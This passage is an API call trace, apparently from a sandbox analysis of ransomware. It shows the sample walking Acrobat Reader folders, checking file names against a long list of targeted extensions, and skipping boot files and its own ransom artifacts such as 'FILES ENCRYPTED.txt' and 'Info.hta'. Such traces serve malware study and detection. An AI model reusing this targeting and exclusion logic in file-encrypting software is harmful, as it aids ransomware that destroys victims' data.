returned -1 [0264.203] lstrlenW (lpString=".epsp") returned 5 [0264.203] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0264.203] lstrlenW (lpString=".erf") returned 4 [0264.203] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0264.203] lstrlenW (lpString=".exr") returned 4 [0264.204] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0264.204] lstrlenW (lpString=".f4v") returned 4 [0264.204] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0264.204] lstrlenW (lpString=".fido") returned 5 [0264.204] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0264.204] lstrlenW (lpString=".flm") returned 4 [0264.204] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0264.204] lstrlenW (lpString=".flv") returned 4 [0264.204] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0264.204] lstrlenW (lpString=".frm") returned 4 [0264.204] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0264.204] lstrlenW (lpString=".fxg") returned 4 [0264.204] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0264.204] lstrlenW (lpString=".geo") returned 4 [0264.204] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0264.204] lstrlenW (lpString=".gif") returned 4 [0264.204] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0264.204] lstrlenW (lpString=".grs") returned 4 [0264.204] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0264.205] lstrlenW (lpString=".gz") returned 3 [0264.205] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0264.205] lstrlenW (lpString=".h") returned 2 [0264.205] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0264.205] lstrlenW (lpString=".hdr") returned 4 [0264.205] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0264.205] lstrlenW (lpString=".hpp") returned 4 [0264.205] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0264.205] lstrlenW (lpString=".hta") returned 4 [0264.205] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0264.205] lstrlenW (lpString=".htc") returned 4 [0264.205] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0264.205] lstrlenW (lpString=".htm") returned 4 [0264.205] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0264.205] lstrlenW (lpString=".html") returned 5 [0264.205] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0264.205] lstrlenW (lpString=".icb") returned 4 [0264.205] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0264.205] lstrlenW (lpString=".ics") returned 4 [0264.205] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0264.205] lstrlenW (lpString=".iff") returned 4 [0264.205] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0264.205] lstrlenW (lpString=".inc") returned 4 [0264.205] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0264.205] lstrlenW (lpString=".indd") returned 5 [0264.205] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0264.205] lstrlenW (lpString=".ini") returned 4 [0264.205] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0264.206] lstrlenW (lpString=".iqy") returned 4 [0264.206] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0264.206] lstrlenW (lpString=".j2c") returned 4 [0264.206] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0264.206] lstrlenW (lpString=".j2k") returned 4 [0264.206] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0264.206] lstrlenW (lpString=".java") returned 5 [0264.206] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0264.206] lstrlenW (lpString=".jp2") returned 4 [0264.206] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0264.206] lstrlenW (lpString=".jpc") returned 4 [0264.206] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0264.206] lstrlenW (lpString=".jpe") returned 4 [0264.206] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0264.206] lstrlenW (lpString=".jpeg") returned 5 [0264.206] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0264.206] lstrlenW (lpString=".jpf") returned 4 [0264.206] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0264.206] lstrlenW (lpString=".jpg") returned 4 [0264.206] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0264.206] lstrlenW (lpString=".jpx") returned 4 [0264.206] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0264.206] lstrlenW (lpString=".js") returned 3 [0264.206] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0264.206] lstrlenW (lpString="ui-strings.js") returned 13 [0264.206] lstrlenW (lpString=".love$") returned 6 [0264.206] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0264.206] lstrlenW (lpString="ui-strings.js") returned 13 [0264.206] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0264.206] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0264.207] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0264.207] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0264.207] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0264.207] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0264.207] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0264.207] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0264.207] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js") returned 119 [0264.207] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.207] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0264.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0264.207] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0264.207] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si") returned 105 [0264.207] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si") returned 1 [0264.207] lstrlenW (lpString="sl-si") returned 5 [0264.207] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sl-si") returned -1 [0264.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0264.208] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si") returned 105 [0264.208] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0264.525] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.525] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.525] lstrlenW (lpString="ui-strings.js") returned 13 [0264.525] lstrlenW (lpString=".1cd") returned 4 [0264.525] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0264.525] lstrlenW (lpString=".3ds") returned 4 [0264.525] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0264.525] lstrlenW (lpString=".3fr") returned 4 [0264.525] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0264.525] lstrlenW (lpString=".3g2") returned 4 [0264.525] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0264.526] lstrlenW (lpString=".3gp") returned 4 [0264.526] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0264.526] lstrlenW (lpString=".7z") returned 3 [0264.526] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0264.526] lstrlenW (lpString=".accda") returned 6 [0264.526] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0264.526] lstrlenW (lpString=".accdb") returned 6 [0264.526] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0264.526] lstrlenW (lpString=".accdc") returned 6 [0264.526] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0264.526] lstrlenW (lpString=".accde") returned 6 [0264.526] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0264.526] lstrlenW (lpString=".accdt") returned 6 [0264.526] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0264.526] lstrlenW (lpString=".accdw") returned 6 [0264.526] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0264.526] lstrlenW (lpString=".adb") returned 4 [0264.527] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0264.527] lstrlenW (lpString=".adp") returned 4 [0264.527] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0264.527] lstrlenW (lpString=".ai") returned 3 [0264.527] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0264.527] lstrlenW (lpString=".ai3") returned 4 [0264.527] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0264.527] lstrlenW (lpString=".ai4") returned 4 [0264.527] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0264.527] lstrlenW (lpString=".ai5") returned 4 [0264.527] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0264.527] lstrlenW (lpString=".ai6") returned 4 [0264.527] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0264.527] lstrlenW (lpString=".ai7") returned 4 [0264.527] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0264.528] lstrlenW (lpString=".ai8") returned 4 [0264.528] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0264.528] lstrlenW (lpString=".anim") returned 5 [0264.528] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0264.528] lstrlenW (lpString=".arw") returned 4 [0264.528] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0264.528] lstrlenW (lpString=".as") returned 3 [0264.528] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0264.528] lstrlenW (lpString=".asa") returned 4 [0264.528] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0264.528] lstrlenW (lpString=".asc") returned 4 [0264.528] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0264.528] lstrlenW (lpString=".ascx") returned 5 [0264.528] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0264.528] lstrlenW (lpString=".asm") returned 4 [0264.528] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0264.531] lstrlenW (lpString=".asmx") returned 5 [0264.531] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0264.531] lstrlenW (lpString=".asp") returned 4 [0264.531] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0264.531] lstrlenW (lpString=".aspx") returned 5 [0264.531] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0264.531] lstrlenW (lpString=".asr") returned 4 [0264.531] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0264.531] lstrlenW (lpString=".asx") returned 4 [0264.531] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0264.532] lstrlenW (lpString=".avi") returned 4 [0264.532] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0264.532] lstrlenW (lpString=".avs") returned 4 [0264.532] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0264.532] lstrlenW (lpString=".backup") returned 7 [0264.532] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0264.532] lstrlenW (lpString=".bak") returned 4 [0264.532] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0264.532] lstrlenW (lpString=".bay") returned 4 [0264.532] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0264.532] lstrlenW (lpString=".bd") returned 3 [0264.532] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0264.532] lstrlenW (lpString=".bin") returned 4 [0264.532] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0264.532] lstrlenW (lpString=".bmp") returned 4 [0264.532] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0264.532] lstrlenW (lpString=".bz2") returned 4 [0264.532] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0264.532] lstrlenW (lpString=".c") returned 2 [0264.533] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0264.533] lstrlenW (lpString=".cdr") returned 4 [0264.533] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0264.533] lstrlenW (lpString=".cer") returned 4 [0264.533] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0264.533] lstrlenW (lpString=".cf") returned 3 [0264.533] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0264.533] lstrlenW (lpString=".cfc") returned 4 [0264.533] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0264.533] lstrlenW (lpString=".cfm") returned 4 [0264.533] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0264.533] lstrlenW (lpString=".cfml") returned 5 [0264.533] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0264.533] lstrlenW (lpString=".cfu") returned 4 [0264.533] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0264.533] lstrlenW (lpString=".chm") returned 4 [0264.533] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0264.533] lstrlenW (lpString=".cin") returned 4 [0264.533] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0264.534] lstrlenW (lpString=".class") returned 6 [0264.534] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0264.534] lstrlenW (lpString=".clx") returned 4 [0264.534] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0264.534] lstrlenW (lpString=".config") returned 7 [0264.534] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0264.534] lstrlenW (lpString=".cpp") returned 4 [0264.534] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0264.534] lstrlenW (lpString=".cr2") returned 4 [0264.534] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0264.534] lstrlenW (lpString=".crt") returned 4 [0264.534] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0264.534] lstrlenW (lpString=".crw") returned 4 [0264.534] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0264.534] lstrlenW (lpString=".cs") returned 3 [0264.534] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0264.535] lstrlenW (lpString=".css") returned 4 [0264.535] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0264.535] lstrlenW (lpString=".csv") returned 4 [0264.535] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0264.535] lstrlenW (lpString=".cub") returned 4 [0264.535] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0264.535] lstrlenW (lpString=".dae") returned 4 [0264.535] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0264.535] lstrlenW (lpString=".dat") returned 4 [0264.535] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0264.535] lstrlenW (lpString=".db") returned 3 [0264.535] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0264.535] lstrlenW (lpString=".dbf") returned 4 [0264.535] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0264.535] lstrlenW (lpString=".dbx") returned 4 [0264.535] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0264.535] lstrlenW (lpString=".dc3") returned 4 [0264.535] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0264.535] lstrlenW (lpString=".dcm") returned 4 [0264.535] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0264.536] lstrlenW (lpString=".dcr") returned 4 [0264.536] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0264.536] lstrlenW (lpString=".der") returned 4 [0264.536] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0264.536] lstrlenW (lpString=".dib") returned 4 [0264.536] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0264.536] lstrlenW (lpString=".dic") returned 4 [0264.536] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0264.536] lstrlenW (lpString=".dif") returned 4 [0264.536] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0264.536] lstrlenW (lpString=".divx") returned 5 [0264.536] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0264.536] lstrlenW (lpString=".djvu") returned 5 [0264.536] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0264.536] lstrlenW (lpString=".dng") returned 4 [0264.537] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0264.537] lstrlenW (lpString=".doc") returned 4 [0264.537] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0264.537] lstrlenW (lpString=".docm") returned 5 [0264.537] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0264.537] lstrlenW (lpString=".docx") returned 5 [0264.537] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0264.537] lstrlenW (lpString=".dot") returned 4 [0264.537] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0264.537] lstrlenW (lpString=".dotm") returned 5 [0264.537] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0264.537] lstrlenW (lpString=".dotx") returned 5 [0264.537] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0264.538] lstrlenW (lpString=".dpx") returned 4 [0264.538] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0264.538] lstrlenW (lpString=".dqy") returned 4 [0264.538] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0264.538] lstrlenW (lpString=".dsn") returned 4 [0264.538] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0264.538] lstrlenW (lpString=".dt") returned 3 [0264.538] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0264.538] lstrlenW (lpString=".dtd") returned 4 [0264.538] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0264.538] lstrlenW (lpString=".dwg") returned 4 [0264.538] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0264.538] lstrlenW (lpString=".dwt") returned 4 [0264.538] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0264.538] lstrlenW (lpString=".dx") returned 3 [0264.538] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0264.538] lstrlenW (lpString=".dxf") returned 4 [0264.539] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0264.539] lstrlenW (lpString=".edml") returned 5 [0264.539] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0264.539] lstrlenW (lpString=".efd") returned 4 [0264.539] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0264.539] lstrlenW (lpString=".elf") returned 4 [0264.539] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0264.539] lstrlenW (lpString=".emf") returned 4 [0264.539] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0264.539] lstrlenW (lpString=".emz") returned 4 [0264.539] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0264.540] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.540] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0264.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0264.540] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0264.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0264.540] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl") returned 105 [0264.540] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0264.541] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.541] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.541] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0264.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0264.541] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0264.541] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se") returned 105 [0264.541] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se") returned 1 [0264.541] lstrlenW (lpString="sv-se") returned 5 [0264.541] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sv-se") returned -1 [0264.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0264.541] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se") returned 105 [0264.541] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0264.542] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, 